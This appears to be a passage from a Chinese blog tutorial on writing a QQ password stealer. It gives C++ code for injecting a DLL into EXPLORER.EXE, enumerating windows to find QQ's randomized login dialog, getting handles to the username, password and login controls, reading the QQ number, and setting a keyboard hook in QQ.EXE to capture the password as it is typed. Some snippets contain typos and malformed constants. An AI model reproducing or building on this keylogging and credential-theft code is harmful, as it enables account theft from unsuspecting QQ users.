2。此时InspectQQLandDlg.DLL已经被映射到EXPLORER.EXE。此时在InspectQQLandDlg.DLL的DllMain(千万不要写成DLLMain)接受到DLL_PROCESS_ATTACH消息,但一般来说不因在DllMain中执行过多的功能(借鉴前人的经验,嘿嘿),于是很容易想到开辟一个新线程。
[cpp] view plaincopyprint?
1. switch(fdwReason)
2. {
3. case DLL_PROCESS_ATTACH:
4. {
5. //下面这句会给你创建远程线程成功的提示。
6. MessageBox ( 0, "Code Injection success!", "NOTE", MB_OK ) ;
7. HANDLE hNewThread = CreateThread ( NULL, 0,ThreadForInspect, NULL, 0, 0 ) ;
8.
9. break;
10. }
11. }
在新线程中要达到的目标只是一个循环,利用while()和循环标志(BOOL)isContinue即可以实现。
在这个远程线程中要完成的第二个任务是找到QQ登陆对话框中关键控件。
关于这点网上有很多资料,利用的是FindWindow和FindWindowEx,这是针对以前的版本。在这里已经无效了,现在QQ在这里下了点工夫,采用的是窗口标题采用随机字符。
就以登陆对话框为例,对话框的类为"#32770",或许许多菜鸟朋友会像我在最初的时候一样,傻傻用FindWindow ("QQ用户登陆","#32770") ;结果什么都没有,哎~~
其实可以通过窗口枚举搞清楚QQ在这里到底做了什么手脚。
[cpp] view plaincopyprint?
1. BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam )
2. {
3. if ( !hwnd )
4. {
5. return false ;
6. }
7. char szWindowName[128] ;
8. ZeroMemory ( szWindowName, 128 ) ;
9. GetClassName ( hwnd, szWindowClassName, 128 ) ;//取得类名
10. if ( !strcmp ( szWindowClassName, "#32770" ) )
11. {
12. __asm int 3
13. }
14. return true ;
15. }
利用上面的程序段,在VC调试器中不断按F5且同时在WATCH中观察szWindowName,很容易发现这个窗口名字符串是由不超过二十个字符组成(多次观察),但其中的元素只有0X13,0X10,0X32,字符串中的每个位置都是三个元素之一。但在SPY++中窗口名中看起来只不过是“ ”,怎么看都只是几个空格(再提醒一下,不要试图通过复制其中的内容,效果可是无法忍受的,呵呵)
事实上登陆窗口可以通过窗口的许多确定因素来确定,比如窗口风格,窗口ID之类的,这些都可以通过SPY++轻易得到(SPY++,好东西啊),下面也就不多发话了,直接给出各个关键控件的代码。
[cpp] view plaincopyprint?
1. #define UserNameComboBoxId 0x 0000008A //用户名控件ID
2. #define PasswordEditId 0x000000B4 //密码控件ID
3. #define ButtonId 0x00003EA0 //登陆按扭控件ID
4. #define QQLandDlgMiniStyle 0x94CA 00C 4 //登陆对话框最小化时的风格
5. #define QQLandDlgShowStyle 0XB4CA 00C 4 //登陆对话框在桌面显示时的风格
6. BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam )
7. {
8. if ( !hwnd )
9. return false ;
10. long style = GetWindowLong ( hwnd, GWL_STYLE ) ;
11. if ( style == QQLandDlgMiniStyle || style == QQLandDlgShowStyle )
12. {
13. hQQLand = hwnd ;
14. EnumChildWindows ( hQQLand, EnumChildWndProc, NULL ) ;
15. return false ;
16. }
17. return true ;
18. }
19. BOOL CALLBACK EnumChildWndProc ( HWND hwnd, LPARAM lParam )
20. {
21. if ( !hwnd )
22. return false ;
23. //取得指定句柄的控件ID
24. long id= GetWindowLong ( hwnd, GWL_ID ) ;
25. if (id == UserNameComboBoxId )
26. {
27. hUserName = hwnd ;
28. }
29. else if ( id == PasswordEditId )
30. {
31. hPassword = hwnd ;
32. }
33. else if ( id == ButtonId )
34. {
35. hLandButton = hwnd ;
36. }
37. return true ;
38. }
到这里终于取得盼望多时的hUserName,hPassword,hButton这三个控件的句柄。~v~
在这里其实可以用
SendMessage ( hUserName, WM_GETTEXT, 128, (LPARAM)szUserName );
取得UserName(QQ号码),但不能取得密码。
可以随便下载个*号密码,再在密码框中输入几个字符,结果可能是失败,不知道QQ做了什么手脚,有机会再好好研究。既然此路不通,菜鸟也自己的办法去达到目标。
现在远程线程的第二个功能(取得关键控件的句柄)已经完成,接下来要做的事是把MyHook.dll映射到QQ.EXE,这样即可实现对用户键盘输入的监视。
只需调用MyHook.dll的接口函数即可
SetHook ( hQQLand, hUserName, hPassword, hLandButton, true ) ;